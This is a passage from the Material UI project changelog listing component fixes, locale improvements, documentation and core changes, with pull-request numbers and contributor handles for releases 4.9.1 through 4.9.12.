it-IT locale (#20674) @Angelk90\n- [l10n] Improve pl-PL locale (#20672) @eXtreme\n- [l10n] Improve pt-BR locale (#20734) @jaironalves\n- [l10n] Improve pt-PT locale (#20673) @hrafaelveloso\n- [l10n] Improve ro-RO locale (#20681) @raduchiriac\n- [l10n] Improve tr-TR locale (#20754) @yunusemredilber\n- [l10n] Port locale to TypeScript (#20685) @eps1lon\n- [Modal] Prevent focus steal from other windows (#20694) @eps1lon\n- [Popper] Add ref type definition (#20688) @takakobem\n- [Select] Fix height inconsistency between input and select (#20780) @esseswann\n- [Select] Pass onClick to menuItem (#20739) @marcosvega91\n- [Slider] Fix focus after click (#20651) @davidcalhoun\n- [Snackbar] Improve consecutive demos (#20721) @calbatr0ss\n- [Tabs] Use a native element for the tabpanel role (#20648) @oliviertassinari\n- [TextField] Fix required outlined label space with no asterisk (#20715) @eps1lon\n- [TextField] Use aria-hidden on required asterisk (#20742) @alorek\n- [Tooltip] Fix flip invalid CSS property error (#20745) @j-mendez\n- [useScrollTrigger] Fix out of sync trigger (#20678, #20680) @ohlr @marcosvega91.\n\n### `@material-ui/lab@v4.0.0-alpha.51`\n\n#### Breaking changes\n\n- [Autocomplete] Remove startAfter props (#20729) @marcosvega91\n\n#### Change\n\n- [Autocomplete] Add new onHighlightChange callback (#20691) @marcosvega91\n- [Autocomplete] Fix \"fixed tags\" demo (#20687) @kthyer\n- [Autocomplete] Fix popup open logic when non empty (#20732) @marcosvega91\n- [Autocomplete] Remove dead code (#20663) @oliviertassinari\n- [TreeView] Update firstCharMap when a TreeItem is removed (#20085) @tonyhallett\n\n### `@material-ui/utils@v4.9.12`\n\n- [core] Avoid test with instanceof HTMLElement (#20646) @oliviertassinari\n\n### Docs\n\n- [docs] Add \"Persian\" to the list of RTL languages (#20679) @mirismaili\n- [docs] Add \"reset focus\" control to demo tools (#20724) @eps1lon\n- [docs] Allow default actions of nested elements (#20777) @eps1lon\n- [docs] Batch small changes (#20644) @oliviertassinari\n- [docs] English fix: fewer boilerplate -> less boilerplate (#20775) @dandv\n- [docs] Fix dropped iframe content in firefox (#20686) @eps1lon\n- [docs] Fix typo in vision.md (#20649) @Flavyoo\n- [docs] Fix warning and crash in dev mode (#20623) @oliviertassinari\n- [docs] Improve infrastructure (#20751) @oliviertassinari\n- [docs] Modernize DemoFrame (#20664) @eps1lon\n- [docs] Never transition preview if not shown (#20784) @eps1lon\n- [docs] Parse markdown on mount (#20601) @eps1lon\n- [docs] Replace react-frame-component with concurrent safe impl (#20677) @eps1lon\n- [docs] Sync translations (#20779) @oliviertassinari\n- [material-ui-docs] Fix missing/extraneous dependencies (#20771) @eps1lon\n\n### Core\n\n- [AppBar] Migrate to testing-library (#20693) @marcosvega91\n- [Avatar] Migrate to testing-library (#20697) @marcosvega91\n- [Badge] Migrate to testing-library (#20710) @marcosvega91\n- [BottomNavigation] Migrate to testing-library (#20728) @marcosvega91\n- [Box] Migrate to testing-library (#20736) @marcosvega91\n- [Card] Migrate to testing-library (#20773) @marcosvega91\n- [core] Bump `@material-ui/react-transition-group` (#20699) @eps1lon\n- [core] Force visibility on a few components in ink save print mode (#20749) @coktopus\n- [test] Improve textToHash test (#20770) @eps1lon\n- [test] Relax lint rules in test (#20702) @eps1lon\n\n## 4.9.11\n\n_Apr 18, 2020_\n\nA big thanks to the 25 contributors who made this release possible.\n\n### `@material-ui/core@v4.9.11`\n\n- [Backdrop] Document Fade inherited component (#20500) @Josh-Weston\n- [Checkbox] Add test showcase for checked checkbox (#20571) @eps1lon\n- [ExpansionPanel] Unify paddings with ListItem and similar components (#20586) @esseswann\n- [l10n] Improve persian (fa-IR) locale (#20543) @ali4heydari\n- [List] Fix ListItemIcon `children` type from element to Node (#20577) @alielkhateeb\n- [Popper] Fix support for TypeScript 3.2 (#20550) @NMinhNguyen\n- [react] Add createMuiStrictModeTheme (#20523) @eps1lon\n- [SwitchBase] Prepare v5 removal of the second argument of onChange (#20541) @samuliasmala\n- [Tabs] Fix the types of the color props (#20595) @sirajalam049\n- [TextareaAutosize] Fix height inconsistency for empty last row (#20575) @benwiley4000\n- [TextField] Fix long label scrollbar (#20535) @Uzwername\n- [theme] Allow palette tonalOffset light and dark values (#20567) @TidyIQ\n\n### `@material-ui/lab@v4.0.0-alpha.50`\n\n- [Autocomplete] Add fullWidth prop (#20538) @Uzwername\n- [Autocomplete] Add test cases for createFilterOptions (#20499) @netochaves\n- [Autocomplete] Fix autoHighlight behavior (#20606) @qkdreyer\n- [Autocomplete] Fix correcy core peer-dependency @oliviertassinari\n- [Autocomplete] Fix missing startAfter type (#20542) @dohomi\n- [Autocomplete] Fix reset input on blur for freeSolo mode too (#20603) @goffioul\n- [Pagination] Fix missing renderItem types (#20592) @ankitasingh170190\n\n### Docs\n\n- [blog] Q1 2020 Update (#20536) @oliviertassinari\n- [docs] Add link for help on creating a custom transition (#20524) @zeckdude\n- [docs] Correct \"row\" to \"col\" in Table (#20566) @sdpaulsen\n- [docs] Fix command to start docs server (#20612) @plug-n-play\n- [docs] Fix filerOption typo in autocomplete (#20572) @qkdreyer\n- [docs] Fix punctuation and english grammar (#20596) @samisnotinsane\n- [docs] Fix small typo in Container (#20589) @plug-n-play\n- [docs] Improve a11y of the chip array example (#20294) @m4theushw\n- [docs] Refactor markdown parsing (#20549) @eps1lon\n- [docs] Remove old workarounds (#20587) @eps1lon\n- [docs] Remove unnecessary webpack loaders (#20563) @eps1lon\n- [docs] Sync translations (#20498) @oliviertassinari\n- [docs] Use reactStrictMode over custom switch (#20522) @eps1lon\n\n### Core\n\n- [test] Add StrictMode compat layer test (#20547) @eps1lon\n- [test] Use method calls over property access expressions (#20545) @eps1lon\n\n## 4.9.10\n\n_Apr 11, 2020_\n\nA big thanks to the 20 contributors who made this release possible.\n\nHere are some highlights ✨:\n\n- ⚛️ Migrate more descriptions of the props to TypeScript (#20342) @eps1lon.\n\n  The coverage has increased from 50 to 75 components. We are working on migrating the 48 missing components.\n\n- 🦋 Fix support for portals and dropped events with ClickAwayListener (#20406, #20409) @NMinhNguyen, @seare-kidane.\n- ♿️ Fix 3 accessibility issues (#20489, #20432, #20475) @arturbien, @ShehryarShoukat96.\n- And many more 🐛 bug fixes and 📚 improvements.\n\nOver the last 3 months, we have focused exclusively on making patch releases.\nWe have done 11 so far. We have optimized for stability.\nIn the coming weeks, we will initiate our work on the [next major: v5](https://github.com/mui/material-ui/issues/20012).\nYou can expect the following:\n\n- A feature freeze on v4.\n- The introduction of deprecation messages in the next v4 minors. These messages will help developers upgrade to v5.\n- A progressive bug fixes freeze on v4, to the exception of security issues and important bugs.\n- At least 6 months of work on v5 to get to a stable release (probably more). You can follow our [milestone](https://github.com/mui/material-ui/milestone/35). We will look for hiring a new full-time member on the core team to move faster.\n\n### `@material-ui/core@v4.9.10`\n\n- [Breadcrumbs] Keep focus in the component after expanding (#20489) @ShehryarShoukat96\n- [ButtonBase] Warn with wrong component prop (#20401) @oliviertassinari\n- [ClickAwayListener] Fix support for portal (#20406) @NMinhNguyen\n- [ClickAwayListener] Fix support for removed DOM node (#20409) @seare-kidane\n- [CssBaseline] Add limitation for ScopedCssBaseline (#20481) @newrice\n- [CssBaseline] Fix typings for `@global` override (#20454) @eps1lon\n- [Dialog] Fix TypeScript type for `children` (#20450) @NMinhNguyen\n- [Popper] Fix links to popper.js (#20464) @eps1lon\n- [Popper] Fix outdated TypeScript props docs (#20465) @eps1lon\n- [Popper] Fix popper.js deprecation npm warning (#20433) @oliviertassinari\n- [Select] Add aria-disabled attribute (#20432) @arturbien\n- [Select] Add new test for onChange (#20444) @arturbien\n- [Slider] Allow individual mark customization (#17057) @mstrugo\n- [Table] Add role if the default role of elements can't be used (#20475) @arturbien\n- [TextareaAutosize] Update rows/rowMax to use number for better clarity (#20469) @esemeniuc\n- [theme] Fix typings to pass array for spacing (#20486) @denys-pavlenko\n- [theme] Fix typings for theme.spacing (#20435) @m4theushw\n- [theme] Support string args in theme.spacing (#20408) @m4theushw\n- [TypeScript] Move more prop docs into IntelliSense (#20342) @eps1lon\n- [TypeScript] Fix support for TypeScript 3.2 (#20443) @NMinhNguyen\n- [TypeScript] Fix TypeScript type for optional `children` (#20458) @NMinhNguyen\n\n### `@material-ui/styles@4.9.10`\n\n- [TypeScript] Fix support for TypeScript 3.2 (#20443) @NMinhNguyen\n\n### `@material-ui/system@4.9.10`\n\n- [TypeScript] Fix support for TypeScript 3.2 (#20443) @NMinhNguyen\n\n### `@material-ui/types@5.0.1`\n\n- [TypeScript] Fix support for TypeScript 3.2 (#20443) @NMinhNguyen\n\n### `@material-ui/lab@v4.0.0-alpha.49`\n\n- [Alert] Fix support for nested elements (#20490) @developerKumar\n- [Autocomplete] Improve virtualization example (#20496) @galkadaw\n- [Autocomplete] Warn when mixing controlled/uncontrolled inputValue states (#20403) @vileppanen\n- [Rating] Warn if precision prop is below 0.1 (#20491) @AlexAndriyanenko\n- [ToggleButton] Don't set default for disableRipple prop (#20493) @cp\n\n### Docs\n\n- [examples] Fix Next.js AMP support (#20463) @timneutkens\n- [examples] Fix Next.js prop-type (#20474) @Izhaki\n- [docs] Material UI Developer Survey 2020 @oliviertassinari\n- [docs] Add Component name section to API docs (#20434) @Josh-Weston\n- [docs] Fix various issues with heading structure (#20389) @eps1lon\n- [docs] Synchronize translations (#20405) @oliviertassinari\n\n### Core\n\n- [core] Introduce useId hook (#20407) @NMinhNguyen\n- [test] Fix broken tests in `react@next` (#20472) @eps1lon\n- [test] Use .checkPropTypes instead of render + propTypes (#20451) @eps1lon\n\n## 4.9.9\n\n_Apr 4, 2020_\n\nA big thanks to the 20 contributors who made this release possible.\n\n### `@material-ui/core@v4.9.9`\n\n- [Card] Fix TypeScript not recognizing \"component\" prop (#20179) @rart\n- [Chip] Fix input integration (#20368) @chaudharykiran\n- [Drawer] Fix clipped scroll overflow (#20396) @maksimgm\n- [ExpansionPanel] Use theme.spacing in summary (#20344) @eps1lon\n- [MenuItem] Fix prop ListItemClasses (#20377) @netochaves\n- [Select] Fix onChange fired with current value (#20361) @ksrb\n- [Select] Fix validator.w3.org error (#20356) @mfsjr\n- [Slide] Fix `direction` as optional in TypeScript (#20338) @maksimgm\n- [styles] Fix missing export of ThemeProviderProps (#20390) @TomekStaszkiewicz\n- [TextField] Fix line-height and height that cut text (#20363) @fyodorovandrei\n\n### `@material-ui/lab@v4.0.0-alpha.48`\n\n- [Autocomplete] Fix blurOnSelect consistency for keyboard (#20314) @alexbarkin\n- [Autocomplete] Fix multiselect regression (#20315) @oliviertassinari\n- [Autocomplete] Go back to the initial groupBy tradeoff (#20376) @oliviertassinari\n- [TreeView] Allow TreeItem to have conditional child (#20238) @tonyhallett\n- [TreeView] Correct visibleNodes on re-render (#20157) @tonyhallett\n- [TreeView] Fix move focus when pressing a modifier key + letter (#20309) @m4theushw\n\n### Docs\n\n- [examples] Move Copyright into its own component (#20383) @HaNdTriX\n- [blog] Introducing Material UI for Sketch (#20295) @oliviertassinari\n- [docs] Batch small changes (#20312) @oliviertassinari\n- [docs] Explain mini-theme example (#20339) @maksimgm\n- [docs] Fix Tidelift UTM parameters (#20348) @phated\n- [docs] Fix grammar: a -> they (#20336) @nainardev\n- [docs] Fix masked text field bug (#20397) @mattcorner\n- [docs] Improve \\_app usage in nextjs examples (#20381) @HaNdTriX\n- [docs] Improve analytics (#20337) @oliviertassinari\n- [docs] Sync translations (#20316) @oliviertassinari\n- [docs] Next.js: Remove unused config files (#20382) @HaNdTriX\n\n### Core\n\n- [core] Add TextField `focused` prop (#20276) @dmtrKovalenko\n- [core] Add missing test case for restricted-path-imports (#20350) @NMinhNguyen\n- [core] Batch of small changes (#20349) @oliviertassinari\n- [core] Export core utils modules from barrel (#20354) @NMinhNguyen\n- [core] Improve out-of-date PR story (#20341) @eps1lon\n- [core] Remove createSvgIcon duplication (#20308) @oliviertassinari\n\n## 4.9.8\n\n_Mar 28, 2020_\n\nA big thanks to the 24 contributors who made this release possible.\n\nHere are some highlights ✨:\n\n- ⚛️ Improve the DX, migrate a couple of props' descriptions to TypeScript (#20298, #20171, #20264) @eps1lon.\n\n  ![TypeScript](https://user-images.githubusercontent.com/3165635/77828342-1f376080-711b-11ea-8c9d-c1c245fb17b0.png)\n\n  The coverage has increase from 17 to 50 components. We are working on migrating the 94 missing components.\n\n- ⚛️ Improve the DX, add debug information when using hooks (#19515) @eps1lon.\n\n  For instance, with the `useMediaQuery` hook\n\n  ![useMediaQuery](https://user-images.githubusercontent.com/3165635/77828448-bf8d8500-711b-11ea-881a-e9cc09c7d9ee.png)\n\n- And many more 🐛 bug fixes and 📚 improvements.\n\n### `@material-ui/core@v4.9.8`\n\n- [DX] Add debug values to various hooks (#19515) @eps1lon\n- [ListItem] Add component prop to primaryTypographyProps and… (#19155) @fyodore82\n- [MenuList] Include disabled items in keyboard navigation (#19967) @scottander\n- [MenuList] Remove if-statement that is always true (#20270) @CptWesley\n- [Popover] Fix resize event leak (#20272) @skmail\n- [Select] Fix disabled color to the icon (#20287) @HenryLie\n- [SvgIcon] Remove wrong role (#20307) @oliviertassinari\n- [theme] Warn when palette structure is wrong (#20253) @oliviertassinari\n- [Tooltip] Fix TextField integration (#20252) @ShehryarShoukat96\n- [Tooltip] Remove superfluous argument in handleBlur call (#20271) @CptWesley\n- [TypeScript] Enable module augmentation of CommonColors (#20212) @eps1lon\n- [TypeScript] Add JSDoc to ListItem TypeScript props (#20171) @eps1lon\n- [TypeScript] Fix Checkbox and Radio type propType (#20293) @eps1lon\n- [TypeScript] Fix incorrect typings regarding transition components a… (#20306) @eps1lon\n- [TypeScript] Link to demos and API in IntelliSense (#20078) @eps1lon\n- [TypeScript] Mark context value as nullable for optional providers (#20278) @ianschmitz\n- [TypeScript] Move more prop docs into IntelliSense (#20298) @eps1lon\n- [TypeScript] Add more props documentation to IntelliSense (#20264) @eps1lon\n\n### `@material-ui/lab@v4.0.0-alpha.47`\n\n- [Autocomplete] Add limitTags prop (#20209) @netochaves\n- [Autocomplete] Add startAfter option (#20305) @netochaves\n- [Autocomplete] Warn when value does not match options (#20235) @igorbrasileiro\n- [Pagination] Add RTL support (#20247) @HenryLie\n- [TreeView] Correct single-select aria-selected (#20102) @tonyhallett\n- [TreeView] Disable all selection when disableSelection (#20146) @tonyhallett\n- [TreeView] Fix focus steal (#20232) @tonyhallett\n- [TreeView] fix inconsistent focus for programmatically focused treeitem (#20237) @tonyhallett\n\n### Docs\n\n- [docs] Add a new site to showcase (google-keep clone) (#20260) @anselm94\n- [docs] Add color preview to default theme tree (#20082) @mlizchap\n- [docs] Add demo link (#20262) @esemeniuc\n- [docs] Extract landing-only modules (#20187) @eps1lon\n- [docs] Fix TablePagination props swap descriptions (#20274) @johncalvinroberts\n- [docs] Fix a few WAVE errors (#20304) @oliviertassinari\n- [docs] Fix icons + locale (#20213) @oliviertassinari\n- [docs] Fix popover anchor playground crash (#20265) @Zaynex\n- [docs] Fix wording in backdrop.md (#20190) @matt-savvy\n- [docs] Improve demo error boundary (#20177) @eps1lon\n- [docs] Improve doc for textField and buttons (#20207) @DDDDDanica\n- [docs] Improve loading experience (#20005) @eps1lon\n- [docs] Improve material icons installation instructions (#20290) @ArianKrasniqi\n- [docs] Mark toolbar for assistive technology (#20158) @eps1lon\n- [docs] Page size tracking fixes (#20199) @eps1lon\n- [docs] Sync translations (#20210) @oliviertassinari\n\n### Core\n\n- [test] Improve regression test suite debugging (#20194) @eps1lon\n- [ci] Retry mergeable state for 30 minutes (#20269) @eps1lon\n- [core] Automatically apply \"PR: needs rebase\" PR label (#20169) @eps1lon\n- [core] Batch small changes (#20255) @oliviertassinari\n- [core] Fix docs:start which should start next.js server (#20202) @ro7584\n- [core] Fix maintenance workflow failing on fork PRs (#20195) @eps1lon\n- [core] Format all .ts files (#20233) @eps1lon\n\n## 4.9.7\n\n_Mar 19, 2020_\n\n### `@material-ui/core@v4.9.7`\n\n- [core] Patch correct dependencies (10bc98f)\n\n## 4.9.6\n\n_Mar 18, 2020_\n\nA big thanks to the 39 contributors who made this release possible.\n\nHere are some highlights ✨:\n\n- ⚛️ Improve the DX in Visual Studio Code (#20079, #19962, #19280) @eps1lon @jedwards1211.\n  - Preview the colors in right in the editor\n    ![colors](https://user-images.githubusercontent.com/12292047/76473891-2b70ad80-63fa-11ea-8afe-38ceee43eeaa.png)\n    ![colors.amber](https://user-images.githubusercontent.com/12292047/76473890-2ad81700-63fa-11ea-9bb3-005f79a195e7.png)\n  - Preview the purpose of each theme.spacing arguments right in the editor\n    ![spacing](https://user-images.githubusercontent.com/12292047/75786858-31192400-5d66-11ea-9382-94dd74c42985.png)\n  - Leverage code snippets to save time with [this extension](https://marketplace.visualstudio.com/items?itemName=vscodeshift.material-ui-snippets).\n- 🔍 12 patches on the Autocomplete component.\n- 💄 Polish on the Pagination component (#19933, #19964, #19966, #19987) @pvdstel @eps1lon @mbrookes.\n- And many more 🐛 bug fixes and 📚 improvements.\n\n### `@material-ui/core@v4.9.6`\n\n- [Chip] Prevent event default when onDelete is triggered (#20051) @eps1lon\n- [Container] Reset display block (#19971) @oliviertassinari\n- [DatePicker] Fix codesandbox demo (#19926) @netochaves\n- [Drawer] Add a comment for clarity on the styling of height of the toolbar (#19934) @smerriman18\n- [Grid] Fix row-reverse typo (#20048) @jhthompson\n- [Link] Fix color mismatch with Typography component (#19949) Weslen do Nascimento\n- [ListItemText] Fix display block issue (#20039) @psdr03\n- [Select] Simplify the demos (remove ref) (#20076) @captain-yossarian\n- [TablePagination] Out of range warning when \"count={-1}\" (#19874) @dbarabashdev\n- [TextField] Avoid outline label CSS leak (#19937) @ivoiv\n- [TextField] Fix outlined render gap if label = empty string (#19722) @captain-yossarian\n- [TextField] Minimize usage of z-index (#19547)\" (#20016) @piotros\n- [theme] Describe what each argument of theme.spacing affects (#19962) @eps1lon\n- [theme] Array reject on spacing transformation fixed (#19900) Weslen do Nascimento\n- [Tooltip] Fix useMemo dependency (#19899) @NMinhNguyen\n- [Tooltip] Reduce enterDelay to 100ms (#19898) @oliviertassinari\n\n### `@material-ui/styles@v4.9.6`\n\n- [styles] Fix theme default props overridden by Component default (#20091) @adridavid\n- [styles] Name anonymous function type (#19996) @eps1lon\n\n### `@material-ui/system@v4.9.6`\n\n- [theme] Array reject on spacing transformation fixed (#19900) Weslen do Nascimento\n\n### `@material-ui/utils@v4.9.6`\n\n- [core] Fix deepmerge of DOM elements (#20100) @ValentinH\n\n### `@material-ui/lab@v4.0.0-alpha.46`\n\n#### Breaking Changes\n\n- [Autocomplete] Improvement popup open logic (#19901) @haseebdaone\n\n#### Changes\n\n- [Autocomplete] Add more details in the onChange event (#19959) @akharkhonov\n- [Autocomplete] Add scrollbar support in IE11 (#19969) @SergeyUstinovich\n- [Autocomplete] Better synchronize the highlight with the value (#19923) @captain-yossarian\n- [Autocomplete] Document listbox limitation (#20101) @zatine\n- [Autocomplete] Fix clearOnEscape + multiple combination (#20065) @chaudharykiran\n- [Autocomplete] Fix GitHub's demo behavior (#19928) @hasanozacar\n- [Autocomplete] Fix typo in prop description (#20086) @vince1995\n- [Autocomplete] Make categories more obvious (#20142) @embeddedt\n- [Autocomplete] Simplify error for wrong getOptionLabel (#20103) @oliviertassinari\n- [Autocomplete] Update onChange API @oliviertassinari\n- [Autocomplete] Use getOptionLabel over stringify (#19974) @a-type\n- [AvatarGroup] Add max avatar prop (#19853) @GFynbo\n- [Pagination] Add TypeScript types (#19933) @pvdstel\n- [Pagination] Fix prop forwarding of `onChange` and `page` (#19964) @eps1lon\n- [Pagination] Leverage `@default` over default values (#19966) @eps1lon\n- [Pagination] Remove children prop (#19987) @mbrookes\n- [Rating] Fix text alignment inheritance (#20055) @mlizchap\n- [Skeleton] Fix SkeletonClassKey type (#20047) @100terres\n- [Skeleton] Improve wave dark mode support (#20112) @oliviertassinari\n\n### Docs\n\n- [docs] Add radio error demo (#19599) @mbrookes\n- [docs] Bump next to latest (#19995) @eps1lon\n- [docs] Display color preview in IntelliSense (#20079) @eps1lon\n- [docs] Document typescript:transpile script (#19951) @eps1lon\n- [docs] Fix @material-ui/styles release version number (#19939) @jkjustjoshing\n- [docs] Fix OutlinedLabel typo (#20006) @ljcooke\n- [docs] Fix SEO issues (#20108) @oliviertassinari\n- [docs] Fix Sketch link (#19944) @mbrookes\n- [docs] Fix grammar in autocomplete doc (#20066) @dandv\n- [docs] Fix incorrect type for fontWeight @eps1lon\n- [docs] Fix missing OutlinedLabel#label link in Select API docs (#19993) @eps1lon\n- [docs] Flexbox, add element for show the good effect (#19956) @tbredillet\n- [docs] Flexbox: update item number (#19954) @tbredillet\n- [docs] Improve font size scaling of some demos (#19950) @eps1lon\n- [docs] Remove premium support offerings (#19972) @mbrookes\n- [docs] Simplify checkbox examples (#20052) @tacigar\n- [docs] Simplify some demos (#19608) @mbrookes\n- [docs] Track bundle size of pages (#19978) @eps1lon\n- [docs] Upgrade to next 9 (#18441) @eps1lon\n- [docs] Simplify drawer examples (#20040) @TommyJackson85\n- [examples] Fix typo in gatsby readme (#19998) @eps1lon\n\n### Core\n\n- [test] Match against messages not args on console methods (#20046) @eps1lon\n- [test] Resize screenshots with sharp (#19979) @oliviertassinari\n- [test] Run snapshot tests on the a11y tree (#20019) @eps1lon\n- [ci] Fix azure not running (#20127) @eps1lon\n- [ci] Fix incorre pr number for experimental scripts (#20021) @eps1lon\n- [ci] Let failed types-next jobs pass (#20007) @eps1lon\n- [ci] Let failed types-next jobs pass (#20017) @eps1lon\n- [core] Add missing properties to TypeAction (#20075) @timonweber\n- [core] Add spacing after prettier command (#20073) @dandv\n- [core] Batch small changes (#20111) @oliviertassinari\n- [core] Fix typos in code comments (#19999) @eps1lon\n- [core] Improve the DX when iterating on components (#20128) @oliviertassinari\n- [core] Use Babel 7 version of transform-react-constant-elements (#20015) @merceyz\n- [security] Bump acorn from 5.7.3 to 5.7.4 (#20105) @dependabot-preview\n- [core] Batch small changes (#19896) @oliviertassinari\n- [core] Update type defs to use OverridableComponent (#20110) @theGirrafish\n- [core] Fix docs:api cleaning the wrong directory #20164 @ro7584\n\n## 4.9.5\n\n_Feb 29, 2020_\n\nA big thanks to the 15 contributors who made this release possible.\n\nHere are some highlights ✨:\n\n- 💄 Add selection (and multi-selection) support to tree view (#18357) @joshwooding\n- And many more 🐛 bug fixes and 📚 improvements.\n\n### `@material-ui/core@v4.9.5`\n\n- [ButtonBase] Fix when changing enableRipple prop from false to true (#19667) @dmtrKovalenko\n- [l10n] Add Armenian (hy-AM) locale (#19844) @vgevorgyan\n- [l10n] Add Hebrew (he-IL) locale (#19850) @boazberman\n- [Popper] Fix deep merge of PopperProps (#19851) @valgrindMaster\n- [RadioGroup] Random default name (#19890) @dfernandez-asapp\n- [Slider] Add explicit types for slider callbacks (#19867) @deymundson\n- [Step] Add missing expanded prop to step TypeScript (#19873) @countableSet\n\n### `@material-ui/lab@v4.0.0-alpha.45`\n\n- [Autocomplete] Fix list of countries (#19862) @FottyM\n- [TreeView] Fix conditional nodes support (#19849) @joshwooding\n- [TreeView] Add node selection support (#18357) @joshwooding\n\n### Docs\n\n- [docs] Fix broken link to jss-nested plugin (#19837) @Izhaki\n- [docs] Fix typo on supported-platforms.md (#19841) @vferdiansyah\n- [docs] Move store to a subfolder (#19822) @oliviertassinari\n\n### Core\n\n- [ci] Enable re-run of azure pipelines (#19823) @eps1lon\n- [ci] Fix heap out of memory in azure pipelines (#19825) @eps1lon\n- [core] Migrate to import \\* as React from 'react' (#19802) @TrySound\n- [test] Fix defaultProps overriding props (#19858) @eps1lon\n- [test] Test against TypeScript nightlies (#19857) @eps1lon\n\n## 4.9.4\n\n_Feb 23, 2020_\n\nA big thanks to the 18 contributors who made this release possible.\n\nHere are some highlights ✨:\n\n- ♿️ Improve the accessibility support of the Breadcrumbs and ButtonBase (#19724, #19784) @captain-yossarian.\n- 💄 Polish the new Pagination component (#19758) @zettca.\n- 🐛 Fix Preact support of the swipeable drawer (#19782) @TommyJackson85.\n- 💅 Introduce a small delay in the appearance of the tooltip (#19766) @Ritorna.\n- And many more 🐛 bug fixes and 📚 improvements.\n\n### `@material-ui/core@v4.9.4`\n\n- [Breadcrumbs] Fix expand/collapsed Breadcrumbs via keyboard (#19724) @captain-yossarian\n- [ButtonBase] Fix space handling for non native button elements (#19784) @captain-yossarian\n- [CardMedia] Fix propTypes to allow `component` prop (#19790) @stevenmusumeche\n- [CssBaseline] Change of children type to ReactNode (#19770) @dfernandez-asapp\n- [Framer] Release v1.1.0 (#19800) @mbrookes\n- [SwipeableDrawer] Improve Preact support (#19782) @TommyJackson85\n- [SwipeableDrawer] Support global theme changes (#19771) @TommyJackson85\n- [TextareaAutosize] Prevent \"Maximum update depth exceeded\" (#19743) @SofianeDjellouli\n- [theme] Built-in convertLength method (#19720) @oliviertassinari\n- [Tooltip] Add enterNextDelay prop (#19766) @Ritorna\n\n### `@material-ui/lab@v4.0.0-alpha.44`\n\n- [Autocomplete] Built-in fullWidth (#19805) @oliviertassinari\n- [Autocomplete] Fix stuck with open popup (#19794) @hasanozacar\n- [Autocomplete] Warn when using wrong getOptionSelected (#19699) @ahmad-reza619\n- [AvatarGroup] Add spacing prop (#19761) @GFynbo\n- [Pagination] Fix activatedOpacity typo (#19758) @zettca\n\n### Docs\n\n- [docs] Fix typo in Autocomplete (#19775) @aurnik\n- [docs] Add Data Driven Forms to the list of libraries (#19747) @rvsia\n- [docs] Improve wording of bundle size guide (#19768) @larsenwork\n- [docs] Sync translations.json @oliviertassinari\n- [docs] Update the translations (#19741) @mbrookes\n\n### Core\n\n- [core] Export ThemeOptions (#19789) @dbarabashdev\n- [core] Small fixes (#19803) @oliviertassinari\n- [core] Update getDisplayName to handle React.memo (#19762) @dantman\n\n## 4.9.3\n\n_Feb 16, 2020_\n\nA big thanks to the 18 contributors who made this release possible.\n\n### `@material-ui/core@v4.9.3`\n\n- [l10n] Add Estonian (et-EE) locale (#19707) @villuv\n- [ScopedCssBaseline] Allow CSS to be only applied on children (#19669) @TomPradat\n\n### `@material-ui/system@v4.9.3`\n\n- [system] Add boxSizing to sizing styled system (#19684) @mesteche\n\n### `@material-ui/lab@v4.0.0-alpha.43`\n\n- [Autocomplete] Improve freeSolo UX (#19663) @itelofilho\n- [Autocomplete] Make options required (#19648) @alexandesigner\n- [Pagination] Second iteration (#19612) @oliviertassinari\n\n### Docs\n\n- [TreeView] Add recursive demo (#19636) @captain-yossarian\n- [docs] Encourage mui-rff (#19676) @lookfirst\n- [docs] Fix missing import in auto-dark theme palette example (#19694) @vinyldarkscratch\n- [docs] Fix typo in sticky footer template (#19695) @bryndyment\n- [docs] List default attributes first (#19693) @amcasey\n- [docs] Revamp the notifications (#19615) @mbrookes\n- [docs] Revert sidebar scrolling (#19678) @kristenmills\n- [docs] Switch to cross-fetch (#19644) @eps1lon\n- [docs] Update codemod documentation (#19661) @larsenwork\n- [docs] What's the lab about? (#19611) @jcafiero\n\n### Core\n\n- [core] Export TypographyVariant type (#19598) @aleccaputo\n- [core] Host normalize-scroll-left (#19638) @oliviertassinari\n- [core] Misc dependency fixes (#19643) @eps1lon\n- [core] Batch small changes (#19639) @oliviertassinari\n- [core] Batch small changes (#19717) @oliviertassinari\n\n## 4.9.2\n\n_Feb 9, 2020_\n\nA big thanks to the 24 contributors who made this release possible.\n\n### `@material-ui/core@v4.9.2`\n\n- [AppBar] Add color transparent support (#19393) @lexskir\n- [Divider] Fix height for vertical divider in a flexbox (#19614) @captain-yossarian\n- [Modal] Fix zoom out on iOS (#19548) @TommyJackson85\n- [MobileStepper] Fix TypeScript props not aligning with prop-types (#19594) @illusionalsagacity\n- [Tabs] Add missing updateScrollButtons type in TabActions (#19570) @notsidney\n- [TextField] Fix blurry text on label (#19547) @chybisov\n- [TextField] Fix label notch for custom htmlFontSize (#19558) @kusmierz\n- [Typography] Add missing classes to TypographyClassKey (#19588) @galechus\n- [l10n] Add Hungarian (hu-HU) locale (#19566) @vgaborabs\n- [l10n] Add Icelandic (is-IS) locale (#19538) @axelbjornsson\n\n### `@material-ui/lab@v4.0.0-alpha.42`\n\n- [Autocomplete] Fix unexpected clearing (#19511) @captain-yossarian\n- [Autocomplete] Support limiting the amount of options (#19539) @govizlora\n- [Pagination] Introduce new component (#19049) @mbrookes\n\n### Docs\n\n- [docs] Add ToggleButton demo for not accepting null value (#19582) @LorenzHenk\n- [docs] Add blocks section to related-projects (#19562) @alexandre-lelain\n- [docs] Add generic props usage examples (#19341) @fyodore82\n- [docs] Add links to sandbox option in examples readme files (#19592) @garethx\n- [docs] Add new starting template (#19604) @dunky11\n- [docs] Add post-update to examples so they run on CodeSandbox (#19605) @garethx\n- [docs] Fix typo in the Avatar docs (#19544) @UltimateForm\n- [docs] Improve entry points for issue repros (#19501) @eps1lon\n- [docs] Link a VS Code extension for working with Material UI (#19280) @jedwards1211\n- [docs] Notification blog post @oliviertassinari\n- [docs] Refactor EnchancedTable demo (#19560) @ahmad-reza619\n- [docs] The error style rule is a pseudo-class (#19555) @TommyJackson85\n- [docs] Update link to example for adding a new demo (#19590) @LorenzHenk\n\n### Core\n\n- [company] Polish the job post (#19593) @oliviertassinari\n- [core] Ignore `@date-ui/` updates (#19633) @eps1lon\n\n## 4.9.1\n\n_Feb 2, 2020_\n\nA big thanks to the 39 contributors who made this release possible.\n\nHere are some highlights ✨:\n\n- 🐛 Clean and synchronize the material icons with Google (#19483, #19485) @timmydoza.\n- 🐛 Fix outline input regressions (#19389, #19409, #19495) @Alexeyun1k, @kusmierz, @cadrimiranda.\n- 🐛 Fix IME support of the Autocomplete, important for Chinese, Japanese, and Korean (#19499) @teramotodaiki.\n- 📚 Improve the Style library interoperability docs section (#19457) 